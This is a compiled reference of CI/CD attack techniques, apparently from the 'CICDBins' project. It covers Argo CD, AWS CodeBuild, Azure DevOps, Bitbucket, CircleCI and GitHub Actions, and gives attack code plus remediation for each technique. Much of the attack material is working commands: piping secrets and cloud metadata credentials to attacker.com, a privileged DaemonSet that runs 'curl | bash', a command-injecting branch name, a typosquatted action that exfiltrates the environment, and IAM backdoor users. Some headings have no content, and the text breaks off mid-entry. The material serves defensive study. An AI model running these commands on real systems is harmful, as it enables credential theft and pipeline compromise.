# CICDBins — Full Technique Reference > Complete content of all 47 CI/CD attack techniques. > Source: https://cicd-bins.harekrishnarai.me/ | GitHub: https://github.com/harekrishnarai/cicd-bins --- ## Argo CD Repository Credential & Cluster Secret Exfiltration - **ID**: `argocd-secret-exfil` - **URL**: https://cicd-bins.harekrishnarai.me/#argocd-secret-exfil - **Platforms**: Argo CD - **Categories**: Secrets, Exfiltration - **Requires**: Runner Shell (RCE) Argo CD stores sensitive credentials in Kubernetes secrets in the `argocd` namespace: Git repository credentials, cluster kubeconfigs, and SSO secrets. An attacker with `kubectl` access to the `argocd` namespace—or Argo CD API access with sufficient privileges—can extract credentials for every managed Git repo and Kubernetes cluster. ## Argo CD — Attack ### Dump all Argo CD secrets via kubectl ```bash # List all secrets in argocd namespace kubectl -n argocd get secrets # Extract repository credentials (base64-encoded) kubectl -n argocd get secret argocd-repo-creds-* -o json | \ jq '.data | map_values(@base64d)' # Extract cluster secrets (contains kubeconfig with admin credentials) kubectl -n argocd get secret -l argocd.argoproj.io/secret-type=cluster -o json | \ jq '.items[].data | {name: .name, server: .server, config: .config | @base64d | fromjson}' # Extract the initial admin password kubectl -n argocd get secret argocd-initial-admin-secret \ -o jsonpath="{.data.password}" | base64 -d ``` ### Use Argo CD API to list repo credentials ```bash # With a valid admin token curl -H "Authorization: Bearer $ARGOCD_TOKEN" \ https://argocd.company.com/api/v1/repositories | \ jq '.items[].connectionState' # Retrieve connection details (may include credentials in error messages) curl -H "Authorization: Bearer $ARGOCD_TOKEN" \ "https://argocd.company.com/api/v1/repositories/https%3A%2F%2Fgithub.com%2Fcompany%2Frepo" ``` ### Leverage cluster kubeconfig to pivot to managed clusters ```bash # Extract kubeconfig from cluster secret kubectl -n argocd get secret cluster-prod-cluster-12345 -o json | \ jq -r '.data.config | @base64d | fromjson | .tlsClientConfig' # Reconstruct kubeconfig and use it kubectl --kubeconfig /tmp/prod-cluster.yaml get nodes kubectl --kubeconfig /tmp/prod-cluster.yaml get secrets -A ``` ## Argo CD — Remediation ### Restrict namespace access with RBAC ```yaml # Only argocd service accounts should access the argocd namespace apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: name: argocd-readonly namespace: argocd rules: - apiGroups: [""] resources: ["pods", "services"] verbs: ["get", "list"] # Explicitly: NO access to secrets --- # For CI/developer namespaces, explicitly deny argocd namespace access apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: developer rules: - apiGroups: [""] resources: ["secrets"] verbs: ["get", "list"] # Scope via RoleBinding to specific namespace, NOT argocd ``` ### Use external secrets manager instead of native Argo CD secrets ```yaml # Use ArgoCD Vault Plugin or External Secrets Operator # Secrets never stored in argocd namespace directly apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: myapp spec: source: plugin: name: argocd-vault-plugin env: - name: AVP_TYPE value: vault - name: VAULT_ADDR value: https://vault.company.com ``` > Rotate the Argo CD admin password immediately after initial setup. Secrets in `argocd` namespace should be protected with Kubernetes network policies and RBAC equivalent to production cluster admin credentials. --- ## Argo CD Git Repository Poisoning - **ID**: `argocd-git-repo-poisoning` - **URL**: https://cicd-bins.harekrishnarai.me/#argocd-git-repo-poisoning - **Platforms**: Argo CD - **Categories**: Supply Chain, Injection - **Requires**: Code Write Access Argo CD continuously syncs Kubernetes manifests from Git. An attacker who can push to the tracked branch—or who can redirect the repo URL via a compromised SCM credential—can deploy arbitrary workloads, including privileged pods that escape to the underlying node, by modifying tracked manifests. ## Argo CD — Attack ### Inject a privileged DaemonSet via manifest modification ```yaml # Modified deployment.yaml pushed to tracked branch apiVersion: apps/v1 kind: DaemonSet metadata: name: node-backdoor namespace: production spec: selector: matchLabels: app: node-backdoor template: metadata: labels: app: node-backdoor spec: hostPID: true hostNetwork: true containers: - name: pwn image: ubuntu:22.04 securityContext: privileged: true command: - nsenter - "--target" - "1" - "--mount" - "--uts" - "--ipc" - "--net" - "--pid" - "--" - bash - "-c" - "curl https://attacker.com/node-exfil | bash" volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / ``` ### Abuse ApplicationSet generator to spread across clusters ```yaml # Modify ApplicationSet template to deploy malicious app everywhere apiVersion: argoproj.io/v1alpha1 kind: ApplicationSet metadata: name: spread-attack spec: generators: - clusters: {} # All registered clusters template: spec: source: repoURL: https://attacker.com/evil-manifests targetRevision: HEAD path: "." destination: server: "{{server}}" namespace: kube-system ``` ## Argo CD — Remediation ### Enable sync policy with resource allow-listing ```yaml # Application with restricted resource types apiVersion: argoproj.io/v1alpha1 kind: Application metadata: name: myapp spec: source: repoURL: https://github.com/company/k8s-manifests targetRevision: main path: apps/myapp destination: server: https://kubernetes.default.svc namespace: production syncPolicy: automated: selfHeal: true prune: true syncOptions: - CreateNamespace=false # Resource exclusions — prevent privileged workloads ignoreDifferences: [] ``` ```yaml # argocd-cm: exclude dangerous resource types from sync data: resource.exclusions: | - apiGroups: - "" kinds: - "*" clusters: - "https://kubernetes.default.svc" # Block cluster-scoped resources for app-level roles ``` ### Require signed commits / tags for production branch ```bash # In your SCM (GitHub/GitLab), require signed commits on the branch # Argo CD can verify signatures: # argocd-cm ConfigMap: # gpg.enabled: "true" # gpg.verifySignature: "true" # Verify a specific app only syncs signed commits argocd app set myapp --gpg-key-id ``` > Pin Argo CD Applications to a specific Git commit SHA or signed tag for production, rather than a mutable branch name. A compromised branch reference is the primary attack surface. --- ## Argo CD RBAC Misconfiguration — Unauthorized Sync/Exec - **ID**: `argocd-rbac-misconfiguration` - **URL**: https://cicd-bins.harekrishnarai.me/#argocd-rbac-misconfiguration - **Platforms**: Argo CD - **Categories**: Privilege Escalation, RCE - **Requires**: Org/Cluster Admin Argo CD uses a role-based access control (RBAC) system defined in a ConfigMap. Misconfigurations—such as wildcard resource policies, overly permissive default roles, or granting `exec` on all applications—allow low-privileged users to execute commands inside production pods or deploy arbitrary manifests. ## Argo CD — Attack ### Case 1: exec access grants pod shell ```bash # If a user has `action/exec` on any application, they get a shell in prod pods # Check in argocd-rbac-cm ConfigMap: # p, developer-role, applications, action/exec, */*, allow # Using Argo CD CLI to exec into a pod argocd app actions run myapp exec --kind Pod --resource-name myapp-pod-abc123 -- /bin/bash # Equivalent via API (with valid JWT token): curl -H "Authorization: Bearer $ARGOCD_TOKEN" \ "https://argocd.company.com/api/v1/applications/myapp/pods/myapp-pod-abc123/exec" \ -d '{"command":["sh","-c","env"]}' ``` ### Case 2: Wildcard policy allows deploy to any cluster ``` # Vulnerable argocd-rbac-cm policy.csv p, ci-role, applications, sync, *, allow p, ci-role, applications, override, *, allow ``` ```bash # CI service account with ci-role can sync ANY application # Including a malicious app pointing to attacker-controlled manifest argocd app sync --app attacker-controlled-app ``` ### Case 3: Anonymous access enabled ```yaml # argocd-cm ConfigMap data: users.anonymous.enabled: "true" # Combined with default read-all RBAC = unauthenticated enumeration ``` ```bash # Enumerate all applications without credentials curl https://argocd.company.com/api/v1/applications ``` ## Argo CD — Remediation ### Explicit deny-by-default RBAC policy ```yaml # argocd-rbac-cm ConfigMap apiVersion: v1 kind: ConfigMap metadata: name: argocd-rbac-cm namespace: argocd data: policy.default: role:readonly policy.csv: | # Developers: read + sync only their own namespace apps p, role:developer, applications, get, dev-namespace/*, allow p, role:developer, applications, sync, dev-namespace/*, allow # CI service account: sync specific production apps only p, role:ci, applications, sync, production/myapp, allow p, role:ci, applications, sync, production/myapi, allow # Explicit deny exec for non-admin p, role:developer, applications, action/exec, *, deny p, role:ci, applications, action/exec, *, deny # Admin only g, ops-team, role:admin scopes: '[groups]' ``` ```yaml # argocd-cm ConfigMap — disable anonymous access data: users.anonymous.enabled: "false" ``` > The `exec` action provides direct shell access to production workloads and should be restricted to `role:admin` only. Regularly audit `argocd-rbac-cm` for wildcard (`*`) application policies. --- ## AWS CodeBuild Buildspec Injection via S3 / External Source - **ID**: `codebuild-buildspec-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#codebuild-buildspec-injection - **Platforms**: AWS CodeBuild - **Categories**: Injection, RCE - **Requires**: Code Write Access CodeBuild projects can be configured to pull `buildspec.yml` from S3, a Git repository, or inline in the project definition. When the source bucket has overly permissive write policies or the project trusts a buildspec path an attacker can influence, arbitrary command execution occurs in the build environment with the project's IAM role. ## AWS CodeBuild — Attack ### Case 1: Writable S3 source bucket ```bash # If the CodeBuild source bucket allows s3:PutObject to untrusted principals # Upload a malicious buildspec cat > evil-buildspec.yml << 'EOF' version: 0.2 phases: build: commands: - curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \ -H "X-aws-ec2-metadata-token: $(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')" \ | curl -s -X POST https://attacker.com/creds -d @- EOF aws s3 cp evil-buildspec.yml s3://target-codebuild-source/buildspec.yml # Next build trigger uses attacker's buildspec ``` ### Case 2: Inline buildspec via API if IAM allows ```bash # If attacker has codebuild:UpdateProject, override buildspec inline aws codebuild update-project \ --name target-project \ --source '{"type":"S3","buildspec":"version: 0.2\nphases:\n build:\n commands:\n - env | curl -s -X POST https://attacker.com/dump -d @-"}' aws codebuild start-build --project-name target-project ``` ### Case 3: Pull-request triggered build with PR-controlled buildspec ```bash # If CodeBuild is triggered on PRs and uses repo's buildspec.yml # Modify buildspec.yml in a PR branch echo 'version: 0.2 phases: build: commands: - aws s3 ls --recursive # enumerate all S3 buckets - aws iam list-roles' > buildspec.yml git add buildspec.yml && git commit -m "ci: update build" && git push ``` ## AWS CodeBuild — Remediation ### Pin buildspec location and restrict source bucket ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Deny", "Principal": "*", "Action": "s3:PutObject", "Resource": "arn:aws:s3:::codebuild-source-bucket/*", "Condition": { "ArnNotLike": { "aws:PrincipalArn": "arn:aws:iam::123456789012:role/ci-deploy-role" } } } ] } ``` ### Use inline buildspec for sensitive projects (prevents repo override) ```bash # Set buildspec inline in project definition, not from repo aws codebuild update-project \ --name sensitive-project \ --source "type=CODECOMMIT,location=...,buildspec=buildspec.yml" \ # Alternatively, embed directly to prevent PR overrides: --source 'type=NO_SOURCE,buildspec=' ``` > Restrict `codebuild:UpdateProject` and `codebuild:StartBuild` IAM permissions to CI service accounts only. Never grant these to developer roles or pipeline triggers from untrusted branches. --- ## AWS CodeBuild Environment Variable & SSM Parameter Exfiltration - **ID**: `codebuild-environment-variable-exfil` - **URL**: https://cicd-bins.harekrishnarai.me/#codebuild-environment-variable-exfil - **Platforms**: AWS CodeBuild - **Categories**: Secrets, Exfiltration - **Requires**: Code Write Access AWS CodeBuild resolves SSM Parameter Store and Secrets Manager values into environment variables at build time. A compromised or malicious `buildspec.yml` can enumerate and exfiltrate all injected secrets, including those from SSM paths the build role has access to beyond what was explicitly declared. ## AWS CodeBuild — Attack ### List all environment variables including resolved secrets ```yaml # buildspec.yml version: 0.2 env: secrets-manager: DB_PASSWORD: "prod/db:password" parameter-store: API_KEY: "/prod/api-key" phases: build: commands: # Dump all env vars including resolved secrets - printenv | base64 | curl -s -X POST https://attacker.com/c -d @- # Or specifically target secrets - echo "$DB_PASSWORD $API_KEY" | curl -s -X POST https://attacker.com/c -d @- ``` ### Abuse build role to fetch additional SSM parameters ```bash # The CodeBuild service role often has broad SSM access # Enumerate what's accessible - aws ssm describe-parameters --query 'Parameters[].Name' - aws ssm get-parameters-by-path --path "/" --recursive --with-decryption \ --query 'Parameters[].{Name:Name,Value:Value}' ``` ### Steal the EC2 instance metadata credentials ```bash # CodeBuild runs on EC2 — metadata endpoint is available - TOKEN=$(curl -s -X PUT http://169.254.169.254/latest/api/token \ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") - curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \ -H "X-aws-ec2-metadata-token: $TOKEN" | curl -s -X POST https://attacker.com/creds -d @- ``` ## AWS CodeBuild — Remediation ### Least-privilege IAM + restrict SSM paths ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": ["ssm:GetParameters", "ssm:GetParameter"], "Resource": "arn:aws:ssm:us-east-1:123456789012:parameter/prod/myapp/*" }, { "Effect": "Deny", "Action": "ssm:GetParametersByPath", "Resource": "*" } ] } ``` ### Block metadata endpoint via network controls ```yaml # Use VPC with no internet route for sensitive builds # Or block IMDS in the project configuration: aws codebuild update-project \ --name my-project \ --environment "type=LINUX_CONTAINER,image=aws/codebuild/standard:7.0,computeType=BUILD_GENERAL1_SMALL,environmentVariables=[],registryCredential={credential=arn:aws:secretsmanager:...,credentialProvider=SECRETS_MANAGER}" # Set --no-privileged-mode and restrict VPC/subnet to block egress ``` > Never grant the CodeBuild role `ssm:GetParametersByPath` with a root (`/`) resource. Scope all SSM/Secrets Manager permissions to the specific parameter paths the build actually needs. --- ## AWS CodeBuild IAM Role Privilege Escalation - **ID**: `codebuild-iam-role-privilege-escalation` - **URL**: https://cicd-bins.harekrishnarai.me/#codebuild-iam-role-privilege-escalation - **Platforms**: AWS CodeBuild - **Categories**: Privilege Escalation, RCE - **Requires**: Runner Shell (RCE) CodeBuild builds run with an IAM service role. Overly permissive roles—especially those with `iam:PassRole`, `lambda:CreateFunction`, or `sts:AssumeRole` on broad resources—allow a malicious buildspec to escalate from a scoped CI role to full account administrator. ## AWS CodeBuild — Attack ### Enumerate the build role's permissions ```bash # In buildspec — identify the role being used - ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \ -H "X-aws-ec2-metadata-token: $(curl -s -X PUT http://169.254.169.254/latest/api/token -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')") - aws iam get-role --role-name $ROLE - aws iam list-attached-role-policies --role-name $ROLE - aws iam simulate-principal-policy \ --policy-source-arn "arn:aws:iam::ACCOUNT:role/codebuild-role" \ --action-names "iam:CreateUser" "iam:AttachUserPolicy" "sts:AssumeRole" ``` ### Exploit iam:PassRole + lambda:CreateFunction for privesc ```bash # Create a Lambda with an admin role using the build role's iam:PassRole - aws iam create-role --role-name backdoor \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"lambda.amazonaws.com"},"Action":"sts:AssumeRole"}]}' - aws iam attach-role-policy --role-name backdoor \ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess - echo 'import boto3 def handler(e, c): iam = boto3.client("iam") iam.create_user(UserName="backdoor") iam.attach_user_policy(UserName="backdoor", PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess") iam.create_access_key(UserName="backdoor")' > handler.py - zip function.zip handler.py - aws lambda create-function --function-name backdoor \ --runtime python3.12 --role arn:aws:iam::ACCOUNT:role/backdoor \ --handler handler.handler --zip-file fileb://function.zip - aws lambda invoke --function-name backdoor /tmp/out && cat /tmp/out ``` ### Exploit sts:AssumeRole on wildcard resource ```bash # If build role can assume any role in the account - aws sts assume-role \ --role-arn arn:aws:iam::ACCOUNT:role/OrganizationAccountAccessRole \ --role-session-name pwn ``` ## AWS CodeBuild — Remediation ### Minimum required permissions for a typical build ```json { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "arn:aws:logs:*:*:log-group:/aws/codebuild/*" }, { "Effect": "Allow", "Action": ["s3:GetObject", "s3:PutObject"], "Resource": "arn:aws:s3:::my-artifact-bucket/*" }, { "Effect": "Deny", "Action": [ "iam:*", "sts:AssumeRole", "lambda:CreateFunction", "lambda:UpdateFunctionCode" ], "Resource": "*" } ] } ``` > Audit CodeBuild service roles quarterly. Any role with `iam:*`, `sts:AssumeRole *`, or `lambda:CreateFunction` on `*` resources should be treated as equivalent to administrator access. --- ## Self-Hosted Agent Pool Compromise - **ID**: `azure-devops-agent-pool-compromise` - **URL**: https://cicd-bins.harekrishnarai.me/#azure-devops-agent-pool-compromise - **Platforms**: Azure DevOps - **Categories**: Persistence, Privilege Escalation, Self-Hosted - **Requires**: Runner Shell (RCE) Azure DevOps self-hosted agents execute pipeline jobs directly on the host machine. Compromising a self-hosted agent provides persistent access across all pipelines using the agent pool. #### Azure DevOps — Azure DevOps — Self-Hosted Agent Backdoor **Persist a backdoor via crontab on compromised agent** **Steal secrets from agent environment** ```bash env | grep -i 'token\|pat\|secret\|key\|pass' | \ curl -d @- https://attacker.com/collect ``` > Note: Isolate agents per project, rotate PATs, and audit agent capabilities. --- ## Pipeline Variable Injection - **ID**: `azure-devops-pipeline-variable-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#azure-devops-pipeline-variable-injection - **Platforms**: Azure DevOps - **Categories**: Injection, RCE - **Requires**: Code Write Access Azure Pipelines allows queue-time variable overrides. Variables consumed in script steps with macro syntax `$(varname)` are vulnerable to injection if the variable is queue-time settable. #### Azure DevOps — Azure DevOps — Runtime Variable Injection **Vulnerable azure-pipelines.yml** **Override variable via queue-time REST API** ```bash curl -X POST https://dev.azure.com/{org}/{project}/_apis/build/builds \ -H "Authorization: Bearer $TOKEN" \ -d '{"definition":{"id":1},"parameters":"{\"branch\":\"x; curl attacker.com/x|sh\"}"}' ``` > Note: Use template expressions ${{ variables.branch }} instead of macro syntax $(branch) for injection-safe expansion. --- ## Service Connection Abuse - **ID**: `azure-devops-service-connection-abuse` - **URL**: https://cicd-bins.harekrishnarai.me/#azure-devops-service-connection-abuse - **Platforms**: Azure DevOps - **Categories**: Secrets, Privilege Escalation - **Requires**: Repository Admin Azure DevOps service connections store credentials for external services. A pipeline job with access to a service connection can extract credentials from the pipeline environment. #### Azure DevOps — Azure DevOps — Extracting Service Connection Credentials **Dump service connection token from pipeline environment** **List all service connections via REST API** ```bash curl -H "Authorization: Bearer $STOLEN_TOKEN" \ "https://dev.azure.com/{org}/{project}/_apis/serviceendpoint/endpoints" ``` > Note: Limit service connection scope to minimum required permissions. --- ## Bitbucket Pipelines OIDC Token Abuse - **ID**: `bitbucket-oidc-misconfiguration` - **URL**: https://cicd-bins.harekrishnarai.me/#bitbucket-oidc-misconfiguration - **Platforms**: Bitbucket Pipelines - **Categories**: Secrets, Privilege Escalation - **Requires**: Code Write Access Bitbucket Pipelines supports OIDC (OpenID Connect) for keyless authentication to cloud providers. When the cloud IAM trust policy is too permissive—trusting any Bitbucket workspace or repository—an attacker can trigger a pipeline from a different repository in the same workspace to assume the privileged cloud role. ## Bitbucket Pipelines — Attack ### Overly permissive AWS IAM trust policy ```json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/api.bitbucket.org/2.0/workspaces/myworkspace/pipelines-config/identity/oidc" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringLike": { "api.bitbucket.org/2.0/workspaces/myworkspace/pipelines-config/identity/oidc:sub": "*" } } }] } ``` ### Any repo in workspace can assume role ```yaml # attacker-repo/bitbucket-pipelines.yml pipelines: default: - step: oidc: true script: # Assume the production role from a totally unrelated repo - aws sts assume-role-with-web-identity \ --role-arn arn:aws:iam::123456789012:role/prod-deploy-role \ --web-identity-token $BITBUCKET_STEP_OIDC_TOKEN \ --role-session-name pwn - aws s3 ls # now have prod access ``` ## Bitbucket Pipelines — Remediation ### Restrict trust policy to specific repository UUID ```json { "Version": "2012-10-17", "Statement": [{ "Effect": "Allow", "Principal": { "Federated": "arn:aws:iam::123456789012:oidc-provider/api.bitbucket.org/2.0/workspaces/myworkspace/pipelines-config/identity/oidc" }, "Action": "sts:AssumeRoleWithWebIdentity", "Condition": { "StringEquals": { "api.bitbucket.org/2.0/workspaces/myworkspace/pipelines-config/identity/oidc:sub": "{YOUR-REPO-UUID}:myworkspace:myrepo:production" } } }] } ``` > Use `StringEquals` (not `StringLike`) and pin the `sub` claim to the exact repository UUID and deployment environment name. The UUID prevents repo renaming from bypassing controls. --- ## Bitbucket Pipelines Variable Injection via Branch Name - **ID**: `bitbucket-pipeline-variable-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#bitbucket-pipeline-variable-injection - **Platforms**: Bitbucket Pipelines - **Categories**: Injection, Secrets - **Requires**: Code Write Access Bitbucket Pipelines exposes the branch name as `$BITBUCKET_BRANCH` without sanitization. When this value is interpolated into shell commands, an attacker with push access to an unprotected branch can craft a malicious branch name to inject arbitrary commands and exfiltrate repository variables. ## Bitbucket Pipelines — Attack ### Vulnerable pipeline definition ```yaml # bitbucket-pipelines.yml pipelines: branches: '**': - step: script: - echo "Building branch $BITBUCKET_BRANCH" - ./build.sh "$BITBUCKET_BRANCH" ``` ### Exploitation: create branch with injected payload ```bash # Create branch with payload in name git checkout -b 'main; curl -s https://attacker.com/$(cat ~/.aws/credentials | base64 -w0)' git push origin HEAD ``` ### What triggers ``` Building branch main; curl -s https://attacker.com/ ``` ## Bitbucket Pipelines — Remediation ### Quote variables and validate branch names ```yaml pipelines: branches: '**': - step: script: # Safe: quote the variable, never pass to shell eval - echo "Building branch: ${BITBUCKET_BRANCH}" # If branch name must be passed to a script, validate it first - | if [[ "$BITBUCKET_BRANCH" =~ ^[a-zA-Z0-9/_.-]+$ ]]; then ./build.sh "${BITBUCKET_BRANCH}" else echo "Invalid branch name, aborting" exit 1 fi ``` --- ## Bitbucket Repository Variable Exfiltration - **ID**: `bitbucket-repository-variable-exfil` - **URL**: https://cicd-bins.harekrishnarai.me/#bitbucket-repository-variable-exfil - **Platforms**: Bitbucket Pipelines - **Categories**: Secrets, Exfiltration - **Requires**: Open Pull Request Bitbucket repository variables and deployment environment variables are exposed as environment variables inside pipeline steps. Any step in a pipeline—including those triggered from forks via pull requests—can access and exfiltrate these secrets to an attacker-controlled server. ## Bitbucket Pipelines — Attack ### Check what variables are available ```bash # In a pipeline step - step: script: - env | sort - printenv | grep -i -E "key|secret|token|pass|api|aws" ``` ### Exfiltrate to attacker server ```yaml pipelines: pull-requests: '**': - step: name: "Tests" script: # Legitimate-looking step that exfils all env vars - npm test || true - env | base64 | curl -s -X POST https://attacker.com/collect -d @- ``` ### Fork-based PR attack ```bash # 1. Fork the target repo # 2. Add malicious step to bitbucket-pipelines.yml in your fork # 3. Open a PR — pipeline runs with target repo's variables ``` ## Bitbucket Pipelines — Remediation ### Restrict pipeline triggers and use secured variables ```yaml # bitbucket-pipelines.yml pipelines: pull-requests: '**': - step: name: PR Tests (no secrets) # Only run tests that don't require production secrets script: - npm ci - npm test # Do NOT inject deployment/production variables here branches: main: - step: name: Deploy (secrets allowed) deployment: production script: - npm run deploy ``` > In Bitbucket repository settings, mark sensitive variables as **Secured** (masked in logs) and restrict them to specific deployment environments rather than being available to all steps. --- ## Context Secrets Exfiltration - **ID**: `circleci-context-secrets-exfil` - **URL**: https://cicd-bins.harekrishnarai.me/#circleci-context-secrets-exfil - **Platforms**: CircleCI - **Categories**: Secrets, Exfiltration - **Requires**: Code Write Access CircleCI contexts store organisation-level secrets injected as environment variables into jobs. If a pipeline job achieves code execution, all context variables for that context are accessible. #### CircleCI — CircleCI — Context Variable Dump **Dump all context env vars** **Target CircleCI-specific tokens** ```bash echo $CIRCLE_TOKEN | base64 | curl -d @- https://attacker.com/token ``` > Note: Context secrets are available to any job that references the context — including fork PRs if 'Pass secrets to builds from forked pull requests' is enabled. --- ## Malicious Orb Injection - **ID**: `circleci-orb-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#circleci-orb-injection - **Platforms**: CircleCI - **Categories**: Supply Chain, RCE - **Requires**: Org/Cluster Admin CircleCI orbs are reusable packages of configuration. Unverified or typosquatted orbs can execute arbitrary commands in the pipeline runner with access to all context secrets. #### CircleCI — CircleCI — Unverified Orb Usage **Vulnerable .circleci/config.yml** **Namespace squatting — register a legitimate-looking orb** ```bash circleci orb create yournamespace/aws-helpers # Publish malicious commands under the orb ``` > Note: Always pin orbs to a specific digest, not a mutable version tag. --- ## Pipeline Parameter Injection - **ID**: `circleci-pipeline-parameter-injection` - **URL**: https://cicd-bins.harekrishnarai.me/#circleci-pipeline-parameter-injection - **Platforms**: CircleCI - **Categories**: Injection, RCE - **Requires**: Open Pull Request CircleCI allows external API callers to pass pipeline parameters substituted into config at runtime. If parameters are used unsanitised in shell steps, an attacker with API access can achieve RCE. #### CircleCI — CircleCI — API-Triggered Pipeline with Malicious Parameters **Trigger pipeline with injected parameters via API** **Vulnerable config.yml consuming parameters** ```yaml parameters: deploy_env: type: string default: "staging" jobs: deploy: steps: - run: deploy.sh << pipeline.parameters.deploy_env >> ``` > Note: Sanitise all pipeline parameters before use in shell commands. --- ## Action Typosquatting - **ID**: `action-typosquatting` - **URL**: https://cicd-bins.harekrishnarai.me/#action-typosquatting - **Platforms**: GitHub Actions - **Categories**: Supply Chain, Secrets, RCE - **Requires**: Code Write Access GitHub Actions are referenced by `{owner}/{repo}@{ref}`. Attackers register repositories with names that closely resemble popular actions — differing by one character, using homoglyphs, or swapping separators. Developers who mistype an action name or copy a workflow from a compromised source will execute the attacker's code. The malicious action runs with full access to the runner environment, including all secrets passed to that step. Because actions can be published by any GitHub user, there is no vetting process analogous to npm's package scoping. #### GitHub Actions — Exploit: Register a typosquatted action name **Common typosquatting patterns** **Malicious action index.js payload** ```javascript const core = require('@actions/core'); const { execSync } = require('child_process'); // Exfiltrate all env vars (includes all secrets passed as env) const data = Buffer.from( execSync('env').toString() ).toString('base64'); require('https').get(`https://evil.com/?d=${data}`); // Still perform the real action to avoid detection ``` > Note: Always pin actions to a full commit SHA (uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683) rather than a mutable tag. --- ## Artifact Poisoning - **ID**: `artifact-poisoning` - **URL**: https://cicd-bins.harekrishnarai.me/#artifact-poisoning - **Platforms**: GitHub Actions - **Categories**: Supply Chain, Persistence - **Requires**: Code Write Access GitHub Actions artifacts are shared between jobs in a workflow and can be downloaded by subsequent workflows in the same repository. If an attacker can influence the artifact upload step — via a compromised action, a script-injection vulnerability, or by winning a race condition on artifact name — they can replace a legitimate build output (binary, container image, test report) with a backdoored one. Downstream jobs that download and execute the artifact will run attacker-controlled code with whatever privileges that step has. #### GitHub Actions — Exploit: Upload a malicious artifact that downstream jobs consume **Upload poisoned artifact** **Poison artifact in a separate workflow** **Download and execute in downstream job** ```yaml - uses: actions/download-artifact@v4 with: name: app-binary - run: chmod +x app && ./app # executes poisoned binary ``` > Note: Artifact integrity is not verified by default. Use artifact attestations (gh attestation verify) or hash-pin downloaded artifacts. --- ## Branch Protection Bypass - **ID**: `branch-protection-bypass` - **URL**: https://cicd-bins.harekrishnarai.me/#branch-protection-bypass - **Platforms**: GitHub Actions - **Categories**: Privilege Escalation, Persistence - **Requires**: Repository Admin Branch protection rules (required reviews, status checks, signed commits) are enforced at the GitHub API layer, not at the git protocol layer. If a `GITHUB_TOKEN` or a personal access token in the runner environment has sufficient permissions (`admin:repo` or direct push rights for bypass list members), the attacker can disable protection rules via the Branches API, approve their own pull request, or force-push directly to a protected branch. Repository admins and certain GitHub App tokens are often on implicit bypass lists. #### GitHub Actions — Exploit: Use GITHUB_TOKEN or admin token to bypass branch protections **Push directly if token has admin scope** **Disable branch protection via API** **Approve own PR if CODEOWNERS review bypassed** ```bash PR_NUMBER=42 curl -s -X POST \ -H "Authorization: token $GITHUB_TOKEN" \ "https://api.github.com/repos/$GITHUB_REPOSITORY/pulls/$PR_NUMBER/reviews" \ -d '{"event":"APPROVE","body":"LGTM"}' ``` > Note: GitHub Apps and OAuth tokens with admin:repo scope can disable branch protections even when enforce_admins is enabled for regular tokens. --- ## Cache Poisoning - **ID**: `cache-poisoning` - **URL**: https://cicd-bins.harekrishnarai.me/#cache-poisoning - **Platforms**: GitHub Actions - **Categories**: Supply Chain, Persistence - **Requires**: Code Write Access GitHub Actions caching (`actions/cache`) stores build artifacts (node_modules, pip packages, Maven jars) between runs. Caches are keyed by a string (often including a hash of lock files) and are shared across workflow runs on the same branch. An attacker who can run code in a workflow — for example, via a pull request to a repo where PRs trigger workflows — can modify cached files before the cache-save step. On subsequent runs, other workflows that restore this cache will load the poisoned content (backdoored binaries, modified packages) and execute attacker-controlled code. PRs can also read (but not write) the default branch cache, enabling cache-probing attacks. #### GitHub Actions — Exploit: Poison the Actions cache to persist malicious content **Overwrite cache with poisoned content** **Cache key collision attack** **Inspect existing cache contents** ```bash # Cache is restored to path before this step runs ls -la ~/.npm ~/.cache/pip ~/.gradle/caches 2>/dev/null find ~/.npm -name "*.js" -newer /tmp -exec ls -la {} \; 2>/dev/null | head -20 ``` > Note: GitHub Actions caches are scoped to the branch and repo by default, but PR workflows can read the default branch cache. --- ## CI/CD Environment Reconnaissance - **ID**: `cicd-recon` - **URL**: https://cicd-bins.harekrishnarai.me/#cicd-recon - **Platforms**: GitHub Actions - **Categories**: Reconnaissance - **Requires**: Open Pull Request Before mounting an attack, an adversary who has achieved initial code execution in a GitHub Actions runner performs reconnaissance to understand the environment. This includes identifying the operating system and installed tooling, enumerating environment variables (which may reveal injected secrets, cloud credentials, or internal endpoints), inspecting the `GITHUB_EVENT_PATH` payload for PR/push metadata, and checking for attached cloud CLI credential files. This information guides the next steps: pivot to cloud, exfil secrets, or establish persistence. #### GitHub Actions — Recon: Map the runner environment and available credentials **Basic runner fingerprinting** **Discover available tools and credentials** **Enumerate GitHub Actions context** ```bash echo "Repo: $GITHUB_REPOSITORY" echo "Actor: $GITHUB_ACTOR" echo "Ref: $GITHUB_REF" echo "Event: $GITHUB_EVENT_NAME" echo "Workspace: $GITHUB_WORKSPACE" echo "Runner: $RUNNER_NAME ($RUNNER_OS)" cat "$GITHUB_EVENT_PATH" | python3 -m json.tool ``` > Note: Recon output is written to the workflow log and visible to anyone with read access to the repo unless the run is private. --- ## Cloud Metadata SSRF - **ID**: `cloud-metadata-ssrf` - **URL**: https://cicd-bins.harekrishnarai.me/#cloud-metadata-ssrf - **Platforms**: 